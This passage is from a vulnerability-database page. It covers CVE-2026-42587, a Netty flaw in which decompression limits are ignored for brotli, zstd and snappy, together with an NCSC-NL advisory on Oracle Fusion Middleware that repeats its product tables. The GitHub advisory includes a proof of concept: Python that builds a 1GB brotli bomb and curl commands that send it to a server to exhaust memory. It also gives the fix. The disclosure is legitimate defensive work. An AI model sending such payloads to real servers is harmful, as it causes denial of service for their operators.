"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "DFE205A5-2C43-40C9-A2FF-CF6759B8D861",
"versionEndExcluding": "4.1.133",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D94A720F-9CED-4BE9-8C37-FD9E2FD28472",
"versionEndExcluding": "4.2.13",
"versionStartIncluding": "4.2.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"id": "CVE-2026-42587",
"lastModified": "2026-08-13T13:18:57.117",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-42587",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T18:43:31.138358Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-05-13T19:17:24.460",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:28010"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:50085"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:53644"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:53806"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-770"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
]
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details
Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
NCSC-2026-0306
Vulnerability from csaf_ncscnl - Published: 2026-08-19 09:38 - Updated: 2026-08-19 09:38Summary
Kwetsbaarheden verholpen in Oracle Fusion Middleware
Notes
The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:
NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.
NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.
This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings.
Feiten: Oracle heeft 262 kwetsbaarheden verholpen in diverse Oracle producten, waaronder Oracle WebLogic Server, Oracle Identity Manager, Oracle WebCenter Portal, Oracle WebCenter Content, Oracle WebCenter Sites, Oracle WebCenter Enterprise Capture, Oracle Reports Developer, Oracle Fusion Middleware Helidon, Oracle Access Manager, Oracle Unified Directory, Oracle Virtual Directory, Oracle Internet Directory, Oracle Web Services Manager, Oracle SOA Suite B2B Engine, Oracle Managed File Transfer, en Oracle Identity Manager Connector.
Interpretaties: De kwetsbaarheden betreffen verschillende beveiligingsproblemen in Oracle producten, waaronder mogelijkheden voor ongeauthenticeerde en laaggeprivilegieerde aanvallers om via netwerktoegang (HTTP, HTTPS, HTTP/2, LDAP, T3, IIOP, RMI, CORBA, SOAP, SMTP, UDP) ongeautoriseerde acties uit te voeren. Deze acties omvatten het verkrijgen van volledige systeemcontrole, het uitvoeren van arbitrary code, het creëren, wijzigen of verwijderen van kritieke data, het omzeilen van authenticatiecontroles, het verkrijgen van ongeautoriseerde toegang tot gevoelige informatie, en het veroorzaken van Denial-of-Service (DoS) door crashes of resource-uitputting. Sommige kwetsbaarheden vereisen gebruikersinteractie, terwijl andere volledig op afstand en zonder authenticatie kunnen worden misbruikt.
De CVSS 3.1 basis scores variëren van matig tot maximaal (tot 10.0), waarbij meerdere kwetsbaarheden een score van 9.8 of hoger hebben, wat duidt op een hoog potentieel voor impact op vertrouwelijkheid, integriteit en beschikbaarheid van de systemen. 182 van deze kwetsbaarheden kunnen zonder voorafgaande authenticatie op afstand worden misbruikt. De kwetsbaarheden zijn specifiek voor bepaalde versies van de genoemde Oracle producten maar kunnen ook invloed hebben op andere Oracle producten die afhankelijk zijn van deze componenten.
Het NCSC adviseert om deze kwetsbaarheden met voorrang te verhelpen.
Oplossingen: Oracle heeft updates uitgebracht om de kwetsbaarheden in de genoemde producten te verhelpen. Zie bijgevoegde referenties voor meer informatie.
Kans: high
Schade: high
CWE-285: Improper Authorization
CWE-400: Uncontrolled Resource Consumption
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
CWE-770: Allocation of Resources Without Limits or Throttling
An authorization bypass vulnerability (CVE-2026-33186) in gRPC-Go prior to version 1.79.3, caused by improper validation of the HTTP/2 :path pseudo-header missing a leading slash, affects multiple products and leads to unauthorized access risks.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstd, and Snappy encodings, leading to out-of-memory Denial of Service.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
